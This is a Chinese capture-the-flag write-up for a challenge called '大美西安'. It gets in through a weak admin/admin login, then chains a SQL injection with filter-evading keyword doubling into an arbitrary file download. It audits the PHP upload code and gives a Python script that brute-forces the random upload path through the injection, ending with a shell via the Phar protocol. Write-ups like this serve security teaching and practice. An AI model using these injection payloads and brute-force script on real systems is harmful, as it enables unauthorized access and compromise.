zoukankan      html  css  js  c++  java
  • 大美西安writeup

    http://202.112.51.184:10080/

    admin/admin 弱口令登入

    发现注入

    但是这个注入实在是不知道怎么利用。很蛋疼。后来get了一个姿势。

    先-1让前面的不被下载然后后面union select index.php(PS:之所以十六进制是脚本里有过滤一些冒号之类的,并且union select 需要重复写,有过滤)

    如此就构造了一个任意文件下载,经过审计知道在index.php中file参数是有文件包含漏洞的。

    但是找不到flag的位置。所以只能想办法getshell了。

    但是直接通过功能点的那个上传发现是不行的,上传了得不到路径。

    然后通过审计文件发现可以通过爆破的手段得到文件的路径。

     1 <?php
     2 if($fileTypeCheck){        
     3         $fileOldName = addslashes(pathinfo($_FILES['file']['name'],PATHINFO_FILENAME));
     4         //pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION)输出为文件后缀。
     5         $fileNewName = './Up10aDs/' . random_str() .'.'.pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION);
     6         $userid = $_SESSION['userid'];
     7         $sql= "insert into `download` (`uid`,`image_name`,`location`) values ($userid,'$fileOldName','$fileNewName')";
     8         $res = $conn ->query($sql);
     9         if($res&&move_uploaded_file($_FILES['file']['tmp_name'], $fileNewName)){
    10          echo "<script>alert('file upload success!');window.location.href='index.php?file=home'</script>";
    11 
    12         }else{
    13              echo "<script>alert('file upload error')</script>";
    14         }
    15 
    16     }else{
    17 
    18         echo "<script>alert('file  type error');</script>";
    19     }

    可以看到第五行是那个目录再加一些随机数然后后缀组成的。

    然后就直接插入到SQL语句当中了。

    至此拼接SQL语句:image=355%20aandnd%20image_name%20lilikeke%200x313233%20ununionion%20selselectect%200x{filename}%20oorrder%20by%201&image_download=%E6%94%B6%E8%97%8F

    image的值是你图片的值,like的是你图片文件名的十六进制。

    #!/usr/bin/python
    # coding:utf-8
    import requests
    def getFilename():
        data="image=358%20aandnd%20image_name%20lilikeke%200x61776473%20ununionion%20selselectect%200x{filename}%20oorrder%20by%201&image_download=%E6%94%B6%E8%97%8F"
        url = "http://202.112.51.184:10080/downfile.php"
        headers = {
    "Content-Type":"application/x-www-form-urlencoded",
    "Cookie":"PHPSESSID=i9q9dmtapcmq0bfmorom1fr673",
    "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"
    }
        randStr="0123456789abcdefghijklmnopqrstuvwxyz{"
        fileName = "./Up10aDs/"
        for _ in range(33):
            print "[*]",fileName
            for i in range(len(randStr)):
                tmpFileName = fileName+randStr[i]
                print(tmpFileName)
                res =requests.post(url,data=data.format(filename=tmpFileName.encode("hex")),headers=headers)
                if "file may be deleted" not in res.text:
                    fileName = fileName + randStr[i-1]
                    break
    
    getFilename()

    跑出来以后利用Phar协议getshell

  • 相关阅读:
    Python之路【第十九篇】:前端CSS
    大数据之路【第十五篇】:数据挖掘--推荐算法
    大数据之路【第十四篇】:数据挖掘--推荐算法(Mahout工具)
    Python之路【第十八篇】:前端HTML
    大数据之路【第十三篇】:数据挖掘---中文分词
    大数据之路【第十二篇】:数据挖掘--NLP文本相似度
    Python之路【第十七篇】:Python并发编程|协程
    Python之路【第十六篇】:Python并发编程|进程、线程
    大数据之路【第十篇】:kafka消息系统
    Python之路【第十五篇】开发FTP多线程程序
  • 原文地址:https://www.cnblogs.com/nul1/p/9476546.html
Copyright © 2011-2022 走看看